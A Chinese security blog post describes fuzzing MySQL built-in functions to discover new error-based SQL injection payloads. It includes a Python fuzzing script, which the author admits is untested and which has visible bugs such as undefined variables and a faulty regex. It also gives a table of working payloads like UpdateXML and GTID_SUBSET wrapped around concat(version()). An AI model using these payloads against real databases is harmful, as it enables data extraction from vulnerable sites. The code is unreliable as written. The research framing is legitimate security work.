第一步:准备
看MySQL官方文档
https://dev.mysql.com/
第二步:过程
根据版本不同看不同版本的MySQL文档,因为每个版本都有一些差异,将文档中的名称全部爬下来。
Name | Description |
---|---|
ABS() | Return the absolute value |
ACOS() | Return the arc cosine |
ADDDATE() | Add time values (intervals) to a date value |
ADDTIME() | Add time |
............ | ...... |
第三步:编码
编写代码,将参数排列组合拼接到查询。如果报错中存在我的self.version那就说明该函数存在报错注入。代码是我没有测试盲编的。如果有错误自行修改
import pymysql
import re
import traceback
class FuzzErrorFunc:
def __init__(self,funcFile,ip,port,userName,password,database):
conn = pymysql.connect(host=host,
user=userName,
port=port,
password=password,
database=database)
self.cursor = conn.cursor()
sqlStr = "select version()"
cursor.execute(sqlStr)
self.version = self.cursor.fetchall()
combinationList = ["(concat('~',version(),'~'))","(concat('~',version(),'~'),1,1)","(1,concat('~',version(),'~'),1)","(1,1,concat('~',version(),'~'))","(concat('~',version(),'~'),1)","(1,concat('~',version(),'~'))"]
self.funcList = []
fp = open(funcFile, encoding='utf-8').read()
data = re.findall(r'[A-Za-z_]+()',fp)
for x in data:
x = x.replace('()','')
for z in combinationList:
self.funcList.append("{}{}".format(x,z))
def getErrorFunc(self):
errorFuncList = []
for func in self.funcList:
try:
sql = "select %s" % func
cursor.execute(sql)
result = cursor.fetchall()
except Exception as e:
if self.version in str(e):
errorFuncList.append(func)
return errorFuncList
f=FuzzErrorFunc("func.txt","127.0.0.1",3306,"userName","password","database")
print(f.getErrorFunc())
第四步:结论
Mysql版本5.7.33,仅判断函数1-3个参数的情况,根据自己的真实情况进行修改。最大回显长度:
Function | lengrh |
---|---|
GTID_SUBSET(concat('~',version(),'~'),1) | 200 |
GTID_SUBTRACT(concat('~',version(),'~'),1) | 200 |
ST_LatFromGeoHash(concat('~',version(),'~')) | 128 |
ST_LongFromGeoHash(concat('~',version(),'~')) | 128 |
ST_PointFromGeoHash(concat('~',version(),'~'),1) | 128 |
UpdateXML(1,concat('~',version(),'~'),1) | 32 |
ExtractValue(1,concat('~',version(),'~')) | 32 |
原文始发于微信公众号(网络安保):如何找到更多的报错注入函数?
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论